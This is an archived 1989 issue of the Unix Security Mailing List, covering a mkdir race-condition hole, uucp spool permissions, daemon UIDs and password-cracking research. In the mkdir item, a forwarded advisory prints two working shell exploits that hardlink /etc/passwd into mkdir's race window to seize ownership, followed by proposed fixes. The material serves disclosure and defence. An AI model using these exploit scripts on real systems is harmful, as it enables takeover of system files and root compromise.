The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Unix 'Security Mailing List' - Archives (1984 - 1987)
DOCUMENT: Unix 'Security Mailing List' #41 1989-04-12 (1 file, 6675 bytes)
SOURCE: http://securitydigest.org/exec/display?f=unix/archive/041.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date: Wed, 12 Apr 89 21:42:38 MDT
Subject: #41 - Unix Security Mailing List

----------------------------------------------------------------------

Editors Corner.

Newcomers to the list since last issue:
        (none)

----------------------------------------------------------------------
Date: Sat, 17 Dec 88 01:23:45 EST
From: uunet!attcan!utzoo!henry@ncar.UCAR.EDU
Subject: Unix viruses

> ... (I've been looking into how difficult it would be
> to append some interesting code to the end of some executable such as
> /etc/cron or /etc/fsck, and it doesn't look that hard.)  

Before you invest substantial effort in this, you might want to wait
for the Proceedings of the 1989 San Diego Usenix to come out, and read
Tom Duff's paper "Viral Attacks on UNIX System Security".

                                     Henry Spencer at U of Toronto Zoology
                                 uunet!attcan!utzoo!henry henry@zoo.toronto.edu


----------------------------------------------------------------------
Subject: mkdir security hole!
Date: 16 Dec 88 10:31:16 EST (Fri)
From: joe@cbdkc1.ATT.COM (Joseph T. Judge)


Security list,
        I just received some mail about a security problem with
the 'mkdir' command from AT&T corporate security:
                
>
>Subject: FYI - mkdir bug
>
>************  security hole mail  **********************************
>============================================
>==   The news article                     ==
>============================================
>== It's a reply to a previous one that    ==
>== posted the hole without much info      ==
>============================================
>== SVR3 uses mkdir system call so maybe safe
>============================================
>
>blue@altger.UUCP (blue) writes:
>\   while true
>\   do
>\         nice -39 mkdir foo &
>\          rm -rf foo
>\         ln /etc/passwd foo; rm -fr foo &
>\         ls -l /etc/passwd
>\   done
>
>This is precisely why nowadays there's a mkdir() system call!
>Formerly the mkdir scheme was as follows:
>
>       mknod(path, S_IFDIR, dev);
>       /* now the directory exists, its owner is root and it's empty */
>       chown(path, uid, gid);  /* now the owner is set */
>       chdir(path);
>       link(path, ".");        /* make entry `.' in new directory */
>       link(parent, "..");     /* make entry `..' */
>
>The `rm -rf foo; ln /etc/passwd foo' must `hit' right AFTER the mknod(), but
>BEFORE the chown(). Due to race conditions this scheme will eventually succeed.
>-- 
>fcntl(fd, F_SETFL, FNDELAY):          |Maarten Litmaath @ VU Amsterdam:
>      let's go weepin' in the corner! |maart@cs.vu.nl, mcvax!botter!maart
>
>
>============================================
>==          My implementation             ==
>============================================
>## Hi, Mike - this came off the net.  Looks bad!
>## exploits a nifty race condition
>###### Usage: attack victim howlong
>###### this is crude - if group is owner it stops early.
>export victim owner sleep foo dontstop
>victim=${1:-victim} ; victim=$victim
>sleep=${2:-300} ; echo sleep time $sleep
>set -- `ls -l $victim` ; owner=$3 ; echo owner = $owner \; $*
>dontstop=dontstop$$
>foo=foo$$
>date > $dontstop
>echo "Starting at \\c" ; cat $dontstop
>(sleep $sleep ; echo timeout ; rm $dontstop ) &
>bang=$!
>while [ -f $dontstop ]
>do
>       nice -19 mkdir $foo &
>       rm -rf $foo
>       ln $victim $foo ; rm -fr $foo &
>       if ls -cl $victim | egrep $owner; then : unchanged ; else echo got one ; rm $dontstop ; fi
>               ## this tends to be buggy, but modify as needed
>       ls -cl $victim 
>done
>echo "Done at \\c" ; date
>ls -la $victim $foo $dontstop 2>&1
>rm -rf $dontstop $foo
>kill $! >/dev/null 2>&1 ## clean up process if we ended early
>
>============================================
>===       Discussion of fixes            ===
>============================================
>
>Why the hack works:  mkdir foo does a mknod(foo,..) followed by
>a chown(foo, real-owner), and if mkdir goes slow you can
>sometimes win the race and do (rm -rf foo; ln /etc/passwd foo) 
>after the mknod and before the chown.  The bad guy only has to
>win once; the nice thing about race conditions is that if you're
>persistent enough you'll eventually win one.  The first fix is to make
>sure mkdir (almost) always wins:  Put a 
>       nice( -255 );  /* setuid root means you can be as nasty as you want */
>as the first executable statement in main() in mkdir.c.  The
>reason for -255 and not just -20 is to make absolutely sure you
>get as un-nice as you can.  If you're being proper, you'll save
>the value
>       if ( (niceness = nice(-255)) == -1 ) perror_and_die();
>
>This makes sure the mkdir has a priority at least 20 higher than
>the rm-and-link process, which means you (almost) always win
>instead of often losing.  It's not totally atomic, but it helps.
>
>We're trying a fix which will guarantee safety against the hack,
>at some risk to other activities: before you do mknod the new
>directory, stat the parent directory, chmod 111 parent so nobody can
>link anything, do the mknod(), do the chown, chmod oldvalue
>parent, and then finish creating . and ..
>This means there's  asmall window when someone who legitimately
>should be able to change things in the parent directory is
>locked out.  It's pretty short since we're running nice --255,
>but it's why we want to test things before we give you the
>source.  We'll probably stick to just the nice, which leaves a
>miniscule exposure but won't break things.  Any opinions on
>leaving . and .. inside or outside the chmod-parent-directory time?
>
>                       Thanks;  Bill
>--------------------------------------------------------------------------
>Sharon Kapilow
>R&D Computer Security Group
>201-386-5429  (CORNET: 8-232-5429)
>whutt!sar
>

----------------------------------------------------------------------
Subject: UIDs For Each Daemon Type
Date: Tue, 20 Dec 88 21:25:35 EST
From: mailrus!umix!lokkur!scs (Steve Simmons)

>From: "Robert L. Krawitz" <rlk@think.com>
>Subject: DANGER: UUCP *can* propogate the Worm 
>
>I think that having a single "daemon" user is unnecessarily risky.
>What's wrong with one "daemon" type user for each system that needs
>that sort of access?  

An interesting idea.  When I first landed at ITI, I found all the
uucp logins had unique uids and uucico as the shell.  It's proven
pretty handy for determining who's still calling you, and what they
did.

Steve

----------------------------------------------------------------------
Date: Tue, 20 Dec 88 19:17:36 PST
From: neil@zardoz.uucp (Neil Gorsuch)
Subject: USENIX article worth reading

posted in news group news.sysadmin by dlm@cuuxb.UUCP (Dennis L. Mumaugh):

The latest copy of the USENIX Journal has an article worth reading:

%A Matt Bishop
%T An Application of a Fast Data Encryption Standard Implementation
%J Computing Systems
%I The USENIX Association
%V 1
%N 3
%P 221-254
%D Summer 1988
%O The University of California Press
%X The Data Encryption Standard is used as a basis for the UNIX
password encryption scheme.  Some of the security of that scheme
depends on the speed of the implementation.   This paper presents a
mathematical formulation of a fast implementation of the DES in
software, discusses how the mathematics can be translated into code,
and then analyzes the UNIX password scheme to show how these results
can be used to implement it.  Experimental results are provided for
several computers to show that the given method speeds up computation
of a password by roughly 20 times (depending on the specific
computer).

This paper shows how to improve the speed of DES and can also show how
to improve breaking DES.

As far as UNIX passwords, it further justifies the use of a shadow
password file and the use of 64 character pass phrases.



----------------------------------------------------------------------
From: zardoz!uunet!ateng.ateng.com!chip (Chip Salzenberg)
Subject: Re: uucico & uuclean permissions
Date: Wed, 21 Dec 88 10:50:14 EST

In a message from keithr@Sco.COM (Keith Reynolds), we find out why
SCO Xenix/386 2.3 has modes of 777 on /usr/spool/uucp:
> /usr/spool/uucp is mode 777 because of mkdir.  [...] Since uucp programs
> fork /bin/mkdir to create subdirectories, there's the classic real uid
> vs. effective uid problem of one setuid program calling another.  To get
> around this, the programs use the following procedure:
> 
> 1.  stat the dir to get the mode
> 2.  chmod it to 777
> 3.  fork/exec mkdir
> 4.  chmod back to previous mode

I really think that a bit of thought could have eliminated this kludge,
and the 777 security hole too!  Because UUCP programs are setuid uucp,
they should surely be able to do this:

    /* Time to create a UUCP directory! */
    sprintf(mkdir_command, "/bin/mkdir %s", dirname);
    if (fork() == 0)
    {
        setuid(getuid());   /* Make real uid == uucp */
        execl("/bin/sh", "sh", "-c", mkdir_command, (char *) NULL);
        perror("mkdir");
        exit(1);
    }
    wait(&status);
    if (status != 0)
        something_went_wrong();
    /* etc. */

This procedure makes uucp the *real* uid of the mkdir process, eliminating
the classic setuid problem.

Am I missing something here?
-- 
Chip Salzenberg                    <chip@ateng.com> or <uunet!ateng!chip>
A T Engineering                            "Remember the Amoco!"

----------------------------------------------------------------------
From: Peter Honeyman <zardoz!uunet!umix!citi.umich.edu!honey>
Date: 23 Dec 1988 21:07 EST
Subject: Re: uucico & uuclean permissions

that's how it's done in v7-based unix, but in usg-based unix,
only the root can change the real uid.  for others, setuid()
affects the effective uid only.  as far as i know, there is no
alternative to the chmod kludge.

dave nowitz wrote the system v stuff; i read it when delta-ing
once and was appalled.  this was my first exposure to system v
and it affected me deeply.

        peter

----------------------------------------------------------------------
From: zardoz!uunet!ateng.ateng.com!chip (Chip Salzenberg)
Subject: Re: uucico & uuclean permissions
Date: Thu, 29 Dec 88 11:15:08 EST

On setuid(geteuid()), Peter Honeyman write:
> that's how it's done in v7-based unix, but in usg-based unix,
> only the root can change the real uid.  for others, setuid()
> affects the effective uid only.  as far as i know, there is no
> alternative to the chmod kludge.

How about this:  Create a a separate program whose only purpose in life is
to create UUCP directories.  All it does is setgid(uucp), setuid(uucp),
system("mkdir"), exit().  And, finally: make it setuid root, modes 4111, in
a directory owned by uucp with modes 700.  Thus, to create a UUCP directory,
a process needs to have its effective uid == uucp, but it need not change
its real uid.

> dave nowitz wrote the system v stuff; i read it when delta-ing
> once and was appalled.  this was my first exposure to system v
> and it affected me deeply.

        "System V:  From now on, consider it sub-standard."

I couldn't resist.  :-)
-- 
Chip Salzenberg                    <chip@ateng.com> or <uunet!ateng!chip>
A T Engineering                            "Thank you, Uh Clem."

----------------------------------------------------------------------
From: Peter Honeyman <zardoz!uunet!umix!citi.umich.edu!honey>
Date: 29 Dec 1988 13:07 EST
Subject: Re: uucico & uuclean permissions

frankly, i don't think the present scheme offers any credible
threat to security.

        peter

----------------------------------------------------------------------
Subject: uucico & uuclean permissions
Date: 23 Dec 88 10:00:56 EST (Fri)
From: zardoz!ccicpg!cci632!rochester!rutgers!bpa.bell-atl.com!mpx1!mpx2!erik (Erik Murrey)


   >From mpx1!cbmvax!uunet!ateng!chip Fri Dec 23 08:53:44 1988
   From: cbmvax!uunet!ateng.ateng.com!chip (Chip Salzenberg)
   Date: Wed, 21 Dec 88 10:50:14 EST
   X-Mailer: ELM [version 2.2dev PL31]

   In a message from keithr@Sco.COM (Keith Reynolds), we find out why
   SCO Xenix/386 2.3 has modes of 777 on /usr/spool/uucp:
   > /usr/spool/uucp is mode 777 because of mkdir.  [...] Since uucp programs
   > fork /bin/mkdir to create subdirectories, there's the classic real uid
   > vs. effective uid problem of one setuid program calling another.  To get
   > around this, the programs use the following procedure:
   > > 1.  stat the dir to get the mode > 2.  chmod it to 777 > 3.
   fork/exec mkdir > 4.  chmod back to previous mode


No, no no...  This is ugly.  For security reasons, UUCP programs
should keep locks OUT of /usr/spool/uucp, and put them in
/usr/spool/locks, or whatever.  This directory can be 777, since it
doesn't keep anything but locks.

The main reasoning behind this is so non-uucp programs (i.e. kermit,
pcomm, and the like) can create lock files in /usr/spool/locks,
WITHOUT becoming setuid uucp.  Most programs, like kermit, have shell
escapes that DO NOT set the effective uid/gid back to the real ones
before the shell escape.  Having kermit and other communications
programs non-setuid closes that many more security holes.

Because SCO put the lock files in /usr/spool/uucp, I was forced to
remove all of my useful communications programs, because users would
need to be effective uid==uucp to write lock files....

---
Erik Murrey                            /|   //  /~~~~/  |  /
MPX Data Systems, Inc.                / | / /  /____/   |/
erik@mpx2.UUCP                       /  /  /  /        /|  Data Systems, Inc. 
{spl1,vu-vlsi,bpa}!mpx1!erik        /     /  /       /  |====================

----------------------------------------------------------------------
Date: Fri, 30 Dec 88 17:04:26 EST
From: zardoz!uunet!GARP.MIT.EDU!henry (Henry Mensch)
Subject: uucico & uuclean permissions

   Date: 23 Dec 88 10:00:56 EST (Fri)
   From: zardoz!ccicpg!cci632!rochester!rutgers!bpa.bell-atl.com!mpx1!mpx2!erik@uunet.UU.NET (Erik Murrey)

   No, no no...  This is ugly.  For security reasons, UUCP programs
   should keep locks OUT of /usr/spool/uucp, and put them in
   /usr/spool/locks, or whatever.  This directory can be 777, since it
   doesn't keep anything but locks.

making the proposed /usr/spool/locks mode 777 is a bad idea; this can
be used to create denial-of-service attacks (so ya don't want someone
using the modem?  create a bogus lock file ... )

# Henry Mensch  /  <henry@garp.mit.edu>  /  E40-379 MIT,  Cambridge, MA
# {decvax,harvard,mit-eddie}!garp!henry   /  <henry@uk.ac.sussex.cvaxa>

----------------------------------------------------------------------
Subject: uucico & uuclean permissions
Date: 29 Dec 88 17:12:31 EST (Thu)
From: zardoz!ccicpg!cci632!rochester!rutgers!bpa.bell-atl.com!mpx1!mpx2!erik (Erik Murrey)

   >From mpx1!cbmvax!uunet!ateng!chip Thu Dec 29 14:40:26 1988
   From: cbmvax!uunet!ateng.ateng.com!chip (Chip Salzenberg)
   Date: Thu, 29 Dec 88 11:15:08 EST
   X-Mailer: ELM [version 2.2dev PL38]

   How about this:  Create a a separate program whose only purpose in life is
   to create UUCP directories.  All it does is setgid(uucp), setuid(uucp),
   system("mkdir"), exit().  And, finally: make it setuid root, modes 4111, in
   a directory owned by uucp with modes 700.  Thus, to create a UUCP
   directory, a process needs to have its effective uid == uucp, but
   it need not change its real uid.


Yes, this is what I had to do for the usenet news distribution.  It
does exactly what you mention (except that it knows how to do mkdir
inside).

The real problem is in SysV's unability to "stack" setuid's, so a
setuid program who calls another setuid program (aka uucico calling
mkdir, or rnews calling mkdir) gets its effective uid lost in the
transition.  When mkdir makes the directory, it must use the real id,
which is usually "root" "news" or "uucp", from a crontab entry...

I think the mkdir() system call (SysV.3) fixes this problem, as well
as closing the currently-being-discussed security holes.


... Erik
---
Erik Murrey                            /|   //  /~~~~/  |  /
MPX Data Systems, Inc.                / | / /  /____/   |/
erik@mpx2.UUCP                       /  /  /  /        /|  Data Systems, Inc. 
{spl1,vu-vlsi,bpa}!mpx1!erik        /     /  /       /  |====================

----------------------------------------------------------------------
From: Peter Honeyman <zardoz!uunet!umix!citi.umich.edu!honey>
Date: 30 Dec 1988 18:01 EST
Subject: Re:  uucico & uuclean permissions

henry, i doubt very much whether you will be able to prevent "denial-
of-service attacks" by people logged in to your machine.

        peter

----------------------------------------------------------------------
Date: Sat, 31 Dec 88 00:06:26 EST
From: zardoz!uunet!richsun!richp1!mcdchg!ddsw1!asiux1!wjm
Subject: uucp login home directories

Some time ago there was an article posted concerning the home
directory of a uucp login. The article stated that a uucp
login should not be able to write in its home directory.
The author suggested changing the home directory from
/usr/spool/uucppublic to /usr/lib/uucp. Can anyone recall
the reasoning behind this suggestion and whether or not
you concur?

                Bill Mania, Ameritech Applied Technologies

And did we tell you the name  USENET   {csdev,ddsw1,hcfeams}!asiux1!wjm
of the game, boy? We call it  VOICENET (312) 870-4574
riding the gravy train.       PAPERNET 3030 Salt Creek Lane Fl 3 Rm C6
             Pink Floyd, 1975          Arlington Heights, IL 60005


----------------------------------------------------------------------

                        The UNIX Security Mailing List

                  Ignore the headers on this list and mail to:
                  ...!ncar!isis!security (mail for the list).
                  ...!ncar!isis!sec-request (administrativia).

END OF DOCUMENT